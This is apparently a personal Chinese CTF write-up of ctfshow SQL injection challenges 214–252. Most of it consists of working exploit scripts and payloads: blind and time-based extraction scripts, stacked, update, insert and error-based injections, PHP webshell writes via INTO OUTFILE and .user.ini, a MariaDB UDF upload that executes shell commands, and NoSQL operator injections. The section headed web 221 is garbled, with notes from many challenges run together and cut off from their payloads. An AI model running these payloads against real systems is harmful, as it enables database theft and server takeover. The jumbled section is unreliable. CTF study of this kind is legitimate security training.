CTFSHOW-SQL注入-二
title: CTFSHOW-SQL注入(二)
date: 2021-09-25 09:32:11
tags: CTF-WEB
CTFSHOW-SQL注入（二）
这里是ctfshow sql注入的第二篇
题目：214-250
因为对SQLmap的使用和tamper的编写还是不太熟悉。因此跳过了sqlmap的部分。
时间盲注
web 214(时间盲注-数字型)
整懵了。上来注入点都找不到。
师傅们说在/api/index.php的post里面
id=xx&debug=0
也没说为什么。反正这个不是考点是吧
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-18 17:30:35
# @Last Modified by: k1he
# @Last Modified time: 2021-09-20 17:17:29
import requests
url = "http://e550695c-928b-4ca3-8223-719cbcd31973.challenge.ctf.show:8080/api/index.php"
flag = ''
for i in range(1,100):
max = 127
min = 32
while 1:
mid = (max+min)>>1
if(min == mid):
flag += chr(mid)
print(flag)
break
#payload = "if(ascii(substr((select database()),{},1))<{},sleep(0.6),0)".format(i,mid)
#ctfshow_web
#payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},sleep(0.6),0)".format(i,mid)
#ctfshow_flagx
#payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{},1))<{},sleep(0.6),0)".format(i,mid)
#id,flaga
payload = "if(ascii(substr((select group_concat(flaga) from ctfshow_flagx),{},1))<{},sleep(0.6),0)".format(i,mid)
#ctfshow{45fd0434-6eac-4a3c-a6ea-657c99ca4518}
data = {
"ip":payload,
"debug":'0',
}
#print(data["ip"])
try:
res = requests.post(url=url,data=data,timeout=0.6)
min = mid
except:
max = mid
web 215(时间注入-字符型)
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-18 17:30:35
# @Last Modified by: k1he
# @Last Modified time: 2021-09-20 18:33:52
import requests
url = "http://b6e6a7c9-1b6e-4e99-a504-22e1989a030e.challenge.ctf.show:8080/api/index.php"
flag = ''
for i in range(1,100):
max = 127
min = 32
while 1:
mid = (max+min)>>1
if(min == mid):
flag += chr(mid)
print(flag)
break
#payload = "1'or if(ascii(substr((select database()),{},1))<{},sleep(0.6),0)#".format(i,mid)
#ctfshow_web
#payload = "1'or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},sleep(0.6),0)#".format(i,mid)
#ctfshow_flagxc
#payload = "1'or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{},1))<{},sleep(0.6),0)#".format(i,mid)
#id,flagaa
payload = "1'or if(ascii(substr((select group_concat(flagaa) from ctfshow_flagxc),{},1))<{},sleep(0.6),0)#".format(i,mid)
#ctfshow{767f003e-391b-475b-80f0-9d4ed43b5d51}
data = {
"ip":payload,
"debug":'0',
}
#print(data["ip"])
try:
res = requests.post(url=url,data=data,timeout=0.6)
min = mid
except:
max = mid
web 216(时间注入-括号型)
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-18 17:30:35
# @Last Modified by: k1he
# @Last Modified time: 2021-09-20 18:42:42
import requests
url = "http://ed7e9bd6-11c0-40b1-bf58-b450af70fa6b.challenge.ctf.show:8080/api/index.php"
flag = ''
for i in range(1,100):
max = 127
min = 32
while 1:
mid = (max+min)>>1
if(min == mid):
flag += chr(mid)
print(flag)
break
#payload = "1)or if(ascii(substr((select database()),{},1))<{},sleep(0.6),0)#".format(i,mid)
#ctfshow_web
#payload = "1)or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},sleep(0.6),0)#".format(i,mid)
#ctfshow_flagxcc
#payload = "1)or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'),{},1))<{},sleep(0.6),0)#".format(i,mid)
#id,flagaac
payload = "1)or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxcc),{},1))<{},sleep(0.6),0)#".format(i,mid)
#ctfshow{c0da7a64-b3ad-488e-a198-94f01984dd8d}
data = {
"ip":payload,
"debug":'0',
}
#print(data["ip"])
try:
res = requests.post(url=url,data=data,timeout=0.6)
min = mid
except:
max = mid
web 217(时间注入-benchmark)
接下来的几种注入的原理都是基于设置一个运算很大的算式，用于延长服务器的运算时间，进而达到时间注入的效果。学！
where id = ($id);
//屏蔽危险分子
function waf($str){
return preg_match('/sleep/i',$str);
}
这里过滤了sleep。讲道理我真不会了。按师傅们的说法，不能用sleep可以用benchmark代替。但是这玩意儿有点NT。越到后面越不准。那么我们就分几次读取。自己测了一下。精准度太低了。直接抄师傅们的脚本了。
这flag我不要了。。。
什么垃圾啊！只能说不到万不得已不要用这个。这题我用了rlike注入才拿到flag。
"""
Author:Y4tacker
"""
import requests
import time
url = "http://287222ce-b871-4e97-8c73-11bb7fdf8070.challenge.ctf.show:8080/api/index.php"
result = ""
i = 12
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查列名字
# payload = "select column_name from information_schema.columns where table_name='ctfshow_flagxccb' limit 1,1"
# 查数据---不能一次查完越到后面越不准确
payload = "select flagaabc from ctfshow_flagxccb"
data = {
'ip': f"1) or if(ascii(substr(({payload}),{i},1))>{mid},benchmark(3480500,sha(1)),1",
'debug':'0'
}
try:
r = requests.post(url, data=data, timeout=1)
# time.sleep(0.3)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
web 218(时间注入-rlike)
"""
Author:feng
"""
import requests
from time import *
url='http://61676edb-498c-40e1-b9eb-e451443b3035.challenge.ctf.show:8080/api/index.php'
time="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+b'"
flag=''
for i in range(1,100):
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
if chr(j)=='}':
exit()
break
#payload="if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},{},1)".format(i,j,time)
#payload="if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{},1))<{},{},1)".format(i,j,time)
payload="if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxc),{},1))<{},{},1)".format(i,j,time)
data={
'ip':payload,
'debug':0
}
try:
r=requests.post(url=url,data=data,timeout=0.3)
min=j
except:
max=j
sleep(0.2)
sleep(1)
web 219(时间盲注-笛卡尔积)
"""
Author:feng
"""
import requests
import time
url='http://4e5b2ce0-f79f-421b-91bc-9215179fbd71.challenge.ctf.show:8080/api/index.php'
flag=''
for i in range(30,100):
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
if chr(j)=='}':
exit()
break
#payload="if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(i,j)
#ctfshow_flagxca
#payload="if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxca'),{},1))<{},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(i,j)
#id,flagaabc
payload="if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxca),{},1))<{},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(i,j)
data={
'ip':payload,
'debug':0
}
try:
r=requests.post(url=url,data=data,timeout=0.15)
min=j
except:
max=j
time.sleep(0.2)
time.sleep(1)
#ctfshow{23f22e93-eb1b-42e9-bedb-e9a78d461a3a}
web 220(时间盲注-花样)
//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
}
sleep,rlike,benchmark被过滤了。采用笛卡尔积注入。
ascii,hex,concat,substr,mid被过滤了采用regexp。
"""
Author:Y4tacker
"""
import requests
url = "http://2c6c1553-4d37-4e2d-bc63-5ebdce418007.challenge.ctf.show:8080/api/"
strr = "_1234567890{}-qazwsxedcrfvtgbyhnujmikolp"
# payload = "select table_name from information_schema.tables where table_schema=database() limit 0,1"
# payload = "select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1"
payload = "select flagaabcc from ctfshow_flagxcac"
j = 1
res = ""
while 1:
for i in strr:
res += i
data = {
'ip': f"1) or if(left(({payload}),{j})='{res}',(SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I),1",
'debug': '1'
}
# print(i)
try:
r = requests.post(url, data=data, timeout=3)
res = res[:-1]
except Exception as e:
print(res)
j+=1
其它注入
web 221(limit-procedure注入)
适用于5.0.0 在select的limit后面可以跟procedure 和into两个关键字。 因为into的写文件需要需要知道绝对路径以及写入shell权限。 这里我们主要利用procedure。 procedure后面可以跟参数 analyse又支持两个参数。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PMHoSam0-1633341325933)(https://i.loli.net/2021/09/25/lZoL1JVGvWnYwC9.png)] 可以看到这里我们可以利用报错注入。 这题只需要查出库名就行了。因为新版的里面是不能添加select语句的。因此这里我们只能查出库名和版本号。 这里贴一个p神转载的limit注入文章。 直接解释一个payload吧。 借鉴了feng师傅的脚本。 可以看到这里已经把我们的数字过滤了。用之前的true绕过。。。写不来这种脚本，直接抄了Y4师傅的。 y1ng师傅的讲解。 然后这里群里有师傅们做好的文件。直接上传就是Shell。然后拿flag即可。 y1ng师傅讲得很详细了。 这题直接参考强网杯2019的随便注。 本题共有三种姿势 分别是handler,rename,prepare. 因为左括号被过滤了。导致我们用不了concat。看了Y4师傅的WP。 发现可以使用16进制，太妙了 然后可以看到有一个getFlag()函数。虽然这里flag已经给出来了。 可以看到这里语句是更新表里面的password。理解一下大佬的Paylaod 那么此时我们更改我们的Payload即可。 再看一看另一个payload：子查询方式 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PafiRhh6-1633341325939)(https://i.loli.net/2021/09/25/J3Gp87xc1ASrQwB.png)] 刚开始跑出来是ban我还以为我有问题。。。 大师傅们说不要相信出题人。这里单引号被过滤了。可以利用反斜杠逃逸。 给出过滤了。但是影响我们上一题的payload。因为information_schema中有or。因此这里采用一个无列名注入。 先通过一个mysql自带的表中查出表名。 无列名注入如下实现过程。此处注意子查询必须重命名。 思索一下。根据刚刚的update注入，那么我们可以把数据库内容insert到password里面。 无影响。 熟悉的无列名注入。 离谱的题。只能靠猜hhh。 然后根据前面的题来说列名为flag。整个脚本爆破插入即可。最多就32次。 一时竟没有思路。看了下师傅的wp是时间盲注。学到了！ 淦！刚刚设置错了把表全删了。直接跑路 因此这我们可以利用LINES TERMINATED BY 这样使得每行末尾添加上一句话木马。 经典文件上传局？想着上传.htaccess但是师傅们告诉我这里dump目录下有index.php。 那还是传.user.ini好了。 出来点问题。我也不知道是啥问题0.0 没影响 没关系。还有最难用的floor注入。 一共12种报错注入。 这里使用ceil和round 第一次见。不会直接抄！ 现在看不懂。下次一定学会 可以看到登陆成功就有flag。 直接万能密码注入 但是题目环境有问题。这个payload打不通。等群主修吧。 反正payload是好payload。 题是不是好题就不知道了 上一题的payload打。 拿到了admin的账户密码 再用admin打一遍。就有flag。为什么？/api/?page=1&limit=7 procedure analyse(extractvalue(null,concat(0x7e,(select database()),0x7e)),1)
web 222(group by 注入)
$sql = select * from ctfshow_user group by $username;
$username = "1,if(ascii('a')>1,sleep(0.05),0)"
那么拼接后:
$sql = select * from ctfshow_user group by 1,if(ascii('a')>1,sleep(0.05),0);
因为sql对于group by是根据一条一条数据遍历后再进行conunt+1因此我们的每一次遍历都会进行一次sleep(0.05)。那么就可以造成时间盲注。
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-23 10:43:16
# @Last Modified by: k1he
# @Last Modified time: 2021-09-23 10:51:11
"""
Author:feng
"""
import requests
import time
url='http://b2888b3a-1215-451b-8f39-e5239fd48c96.challenge.ctf.show:8080/api/index.php?u='
flag=''
for i in range(1,100):
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
if chr(j)=='}':
exit()
break
#payload="1,if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},sleep(0.02),1)".format(i,j)
#payload="1,if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{},1))<{},sleep(0.02),1)".format(i,j)
payload="1,if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{},1))<{},sleep(0.02),1)".format(i,j)
try:
r=requests.get(url=url+payload,timeout=0.4)
min=j
except:
max=j
time.sleep(0.2)
time.sleep(1)
web 223(group by 注入)
$sql = select * from ctfshow_user group by $username;
//TODO:很安全，不需要过滤
//用户名不能是数字
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-23 10:43:16
# @Last Modified by: k1he
# @Last Modified time: 2021-09-23 11:08:22
import requests
def generateNum(num):
res = 'true'
if num == 1:
return res
else:
for i in range(num - 1):
res += "+true"
return res
url = "http://09d8f64d-d2ca-4af4-818a-6c61c397062f.challenge.ctf.show:8080/api/"
i = 0
res = ""
while 1:
head = 32
tail = 127
i = i + 1
while head < tail:
mid = (head + tail) >> 1
# 查数据库-ctfshow_flagas
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查字段-flagasabc
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'"
# 查flag
payload = "select flagasabc from ctfshow_flagas"
params = {
"u": f"if(ascii(substr(({payload}),{generateNum(i)},{generateNum(1)}))>{generateNum(mid)},username,'a')"
}
r = requests.get(url, params=params)
# print(r.json()['data'])
if "userAUTO" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
res += chr(head)
else:
break
print(res)
web 224(文件名注入)
web 225(堆叠注入)
payload1:handler代替select
?username=1';handler `ctfshow_flagasa` open; handler `ctfshow_flagasa` read first;#
payload2:预处理。本题因为ban掉了set，就不变量定义，直接开整！
?username=1';prepare k1he from concat('selec','t','* from `ctfshow_flagasa`');execute k1he;#
payload3:改名
本题行不通，因为ban了alter 没办法进行改名了。所以用上面两种即可。
堆叠注入提升
web 226(堆叠提升)
//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
die(json_encode($ret));
}
查表：
?username=1';prepare k1he from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute k1he;
读flag：
?username=user1';prepare k1he from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute k1he;
web 227(堆叠提升：mysql 存储过程)
在 MySQL 中，存储过程和函数的信息存储在 information_schema 数据库下的 Routines 表中，可以通过查询该表的记录来查询存储过程和函数的信息，其基本的语法形式如下:
SELECT * FROM information_schema.Routines
payload:调用getFlag()
?username=1';call getFlag();#
payload:查看存储过程
?username=1';prepare k1he from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute k1he;
web 228-230(同226)
#查表：
?username=1';prepare k1he from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute k1he;
payload:
?username=1%27;prepare%20k1he%20from%200x73656c656374202a2066726f6d2063746673685f6f775f666c616761736161;execute%20k1he;
UPDATE注入
web 231-232(update注入)
//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
password=1',username=user() where 1=1#&username=1
拼接起来就是
$sql = "update ctfshow_user set pass = '1',username=user() where 1=1#&username='1'"
可以看出来这里将密码设置为了1,用户名设置为了为user()即当前用户。然后where 1=1 对所有查询都进行更改。我们知道数据库遍历是一条一条遍历的，因此才有了如下结果。
#表名
password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1
#列名
password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga') where 1=1#&username=1
#flag
password=1',username=(select group_concat(flagas) from flaga) where 1=1#&username=1
web 232只需要加个括号闭合即可。
可以看出这里我们利用了将字段名group_concat改为了a.然后再将这个新的子查询结果得到的表改为了k1he。
然后再利用k1he.a拿到了里面的内容。
这是因为update注入中，并不能对查询结果进行赋值。因此我们采用了子查询方式来赋值。
web 233(时间盲注)
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-23 10:43:16
# @Last Modified by: k1he
# @Last Modified time: 2021-09-23 17:29:32
import requests
import time
url='http://5b67b122-2155-4913-b4d2-a2da41745758.challenge.ctf.show:8080/api/?page=1&limit=10'
flag=''
for i in range(1,100):
min=32
max=128
while 1:
mid=(max+min)>>1
if min==mid:
flag+=chr(mid)
print(flag)
if chr(mid)=='}':
exit()
break
#payload="1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},sleep(0.05),1)#".format(i,mid)
#flag233333
#payload="1' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag233333'),{},1))<{},sleep(0.05),1)#".format(i,mid)
#id,flagass233
payload="1' or if(ascii(substr((select group_concat(flagass233) from flag233333),{},1))<{},sleep(0.05),1)#".format(i,mid)
#print(payload)
data={
'password':'4',
'username':payload,
}
try:
r=requests.post(url=url,data=data,timeout=0.9)
min=mid
except:
max=mid
time.sleep(0.2)
time.sleep(1)
#ctfshow{5546606f-1953-4610-83b4-940aa5b1f9f4}
web 234(单引号被过滤)
//无过滤
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
将pass输入"\"
即$sql = "update ctfshow_user set pass ='\' where username = '{$username}';"
此时\后面的单引号被转义，那么到下一个username之间的单引号都被当作字符串处理。
然后控制我们的payload即可。
查表：
password=\&username=,username=(select group_concat(table_name) from information_schema.columns where table_schema=database())#
查列：
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)#
拿flag：
password=\&username=,username=(select flagass23s3 from flag23a)#
这里需要提一下 select flagass23s3 from 0x666c6167323361 查不出来。我也不知道为什么。
web 235(无列名注入)
//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
//过滤 or '
查表名：
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
拿flag：
password=\&username=,username=(select `2` from (select 1,2,3 union select * from `flag23a1` limit 1,1)y)#
web 236(输出过滤)
查表：
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
因为输出过滤了flag.那么我们直接base64即可。
拿flag：
password=\&username=,username=(select to_base64(`2`) from (select 1,2,3 union select * from flaga limit 1,1)y)#
INSERT 注入
web 237(insert注入)
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
payload:
查表：
username=1',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=1
查列：
username=k1he',(select group_concat(column_name) from information_schema.columns where table_name='flag'))#&password=1
拿flag：
username=k1he',(select group_concat(flagass23s3) from flag))#&password=1
web 238(过滤空格)
//过滤空格
查表：
username=1',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))#&password=1
查列：
username=1',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')))#&password=1
拿flag：
username=1',(select(group_concat(flag))from(flagb)))#&password=1
web 239(过滤空格,or)
//过滤空格 or
查表：
username=1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#&password=1
查列：
查不了。。盲猜flag
拿flag：
username=1',(select(flag)from(flagbb)))#&password=1
web 240( //过滤空格 or sys mysql)
//过滤空格 or sys mysql
Hint: 表名共9位，flag开头，后五位由a/b组成，如flagabaab，全小写
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-08-12 14:06:01
# @Last Modified by: k1he
# @Last Modified time: 2021-09-24 08:25:56
import requests
import random
url = "http://fc2d9a82-6f58-42e5-82bf-631ab491c8fe.challenge.ctf.show:8080/api/insert.php"
data = {'username': "", 'password': ''}
def TableName():
values = "ab"
table = [random.choice(values) for i in range(5)]
tableName = ''.join(table)
return tableName
for x in range(1,100):
data["username"] = f"k1he',(select(flag)from(flag{TableName()})))#"
s = requests.post(url, data = data)
print(data)
DELETE注入
web 241(delete注入)
//删除记录
$sql = "delete from ctfshow_user where id = {$id}";
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-23 10:43:16
# @Last Modified by: k1he
# @Last Modified time: 2021-09-24 09:15:07
import requests
import time
url='http://ee55ccd8-3874-4da2-8b9c-95160457b803.challenge.ctf.show:8080/api/delete.php'
flag=''
for i in range(1,100):
min=32
max=128
while 1:
mid=(max+min)>>1
if min==mid:
flag+=chr(mid)
print(flag)
if chr(mid)=='}':
exit()
break
#payload="-1 or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},sleep(0.05),0)#".format(i,mid)
#flag
#payload="-1 or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{},1))<{},sleep(0.05),0)#".format(i,mid)
#id,flag
payload="-1 or if(ascii(substr((select group_concat(flag) from flag),{},1))<{},sleep(0.05),0)#".format(i,mid)
#print(payload)
data={
"id":payload,
}
try:
r=requests.post(url=url,data=data,timeout=0.9)
min=mid
except:
max=mid
time.sleep(0.2)
time.sleep(1)
#ctfshow{5546606f-1953-4610-83b4-940aa5b1f9f4}
FILE注入
web 242(file参数)
//备份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
INTO OUTFILE语句：
SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
[export_options]
export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']//分隔符
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
“OPTION”参数为可选参数选项，其可能的取值有：
`FIELDS TERMINATED BY '字符串'`：设置字符串为字段之间的分隔符，可以为单个或多个字符。默认值是“\t”。
`FIELDS ENCLOSED BY '字符'`：设置字符来括住字段的值，只能为单个字符。默认情况下不使用任何符号。
`FIELDS OPTIONALLY ENCLOSED BY '字符'`：设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
`FIELDS ESCAPED BY '字符'`：设置转义字符，只能为单个字符。默认值为“\”。
`LINES STARTING BY '字符串'`：设置每行数据开头的字符，可以为单个或多个字符。默认情况下不使用任何字符。
`LINES TERMINATED BY '字符串'`：设置每行数据结尾的字符，可以为单个或多个字符。默认值是“\n”。
payload:
filename=k1he.php' LINES STARTING BY '<?php eval($_POST[1]);?>'#
web 243(类似文件上传)
//过滤了php
filename=.user.ini' lines starting by ';' terminated by 0x6175746f5f617070656e645f66696c653d6b3168652e6a7067#
filename=k1he.jpg' lines terminated by 0x3c3f706870206576616c28245f504f53545b315d293b3f3e#
报错注入
web 244(无过滤)
payload:
#表名
id=1'or extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
#ctfshow_flag
#列名
id=1'or extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),0x7e))--+
#flag
#拿flag
id=1'or extractvalue(null,concat(0x7e,reverse((select group_concat(flag) from ctfshow_flag)),0x7e))--+
#ctfshow{7107c910-f96f-4bc1-85dc-52b0ee928452}
web 245(过滤updatexml)
payload:
#表名
id=1'or extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
#ctfshow_flagsa
#列名
id=1'or extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'),0x7e))--+
#flag1
#拿flag
id=1'or extractvalue(null,concat(0x7e,reverse((select group_concat(flag1) from ctfshow_flagsa)),0x7e))--+
#ctfshow{73fa48ae-11ae-4a72-a12b-87248a8bca51}
web 246(过滤extractvalue,updatexml)
查表：
id=1' union select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;%23
#flags
查列：
id=1' union select 1,count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name="ctfshow_flags" limit 1,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;%23
#flag2
拿flag：
id=1' union select 1,count(*),concat(0x3a,0x3a,(select flag2 from ctfshow_flags),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;%23
#ctfshow{a148c6c2-50ca-4fa0-94a0-d36f8cc7fccd}
web 247(过滤了extractvalue,updatexml,floor)
1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));
4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;
6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a));
7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b));
8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b));
9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b));
10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b));
11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b));
12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));
id=' union select 1,count(*),concat(0x7e,0x7e,(select `flag?` from ctfshow_flagsa limit 0,1),0x7e,ceil(rand()*2))a from information_schema.columns group by a-- -
EVAL注入
web 248（UAF注入）
import requests
base_url="http://6de1e55c-ad86-4d42-a5bc-7d6205404db6.chall.ctf.show:8080/api/"
payload = []
text = ["a", "b", "c", "d", "e"]
udf = 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for i in range(0,21510, 5000):
end = i + 5000
payload.append(udf[i:end])
p = dict(zip(text, payload))
for t in text:
url = base_url+"?id=';select unhex('{}') into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+&page=1&limit=10".format(p[t], t)
r = requests.get(url)
print(r.status_code)
next_url = base_url+"?id=';select concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'),load_file('/usr/lib/mariadb/plugin/e.txt')) into dumpfile '/usr/lib/mariadb/plugin/udf.so'--+&page=1&limit=10"
rn = requests.get(next_url)
uaf_url=base_url+"?id=';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';--+"#导入udf函数
r=requests.get(uaf_url)
nn_url = base_url+"?id=';select sys_eval('cat /flag.*');--+&page=1&limit=10"
rnn = requests.get(nn_url)
print(rnn.text)
NO SQL注入
web 249(NOSQL)
payload:
id[]=flag
web 250(表单注入)
$query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();
//无过滤
if(count($cursor)>0){
$ret['msg']='登陆成功';
array_push($ret['data'], $flag);
}
username[$ne]=1&password[$ne]=1
web 251-252(nosql)
username[$ne]=admin&password[$ne]=ctfshow666nnneeaaabbbcc
web 252(no sql 盲注)
# -*- coding: utf-8 -*-
# @Author: k1he
# @Date: 2021-09-18 20:25:26
# @Last Modified by: k1he
# @Last Modified time: 2021-09-24 16:24:41
import requests
url ="http://8c5a3b67-740a-461e-b75d-b2eea22f2954.challenge.ctf.show:8080/api/"
flag = ""
letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
for i in range(0,60): #此处可适当调大
for j in letter:
temp_flag = flag+j
payload = "^{}.*$".format(temp_flag)
data = {
"username[$regex]": 'flag',
"password[$regex]": payload,
}
r = requests.post(url=url,data=data)
#print(r.text)
#print(data['password'])
if r"\u767b\u9646\u6210\u529f" in r.text:
flag += j
print(flag)
break
else:
continue
#ctfshow{335a466f-e9f5-4840-9e17-eefddd2eed9e}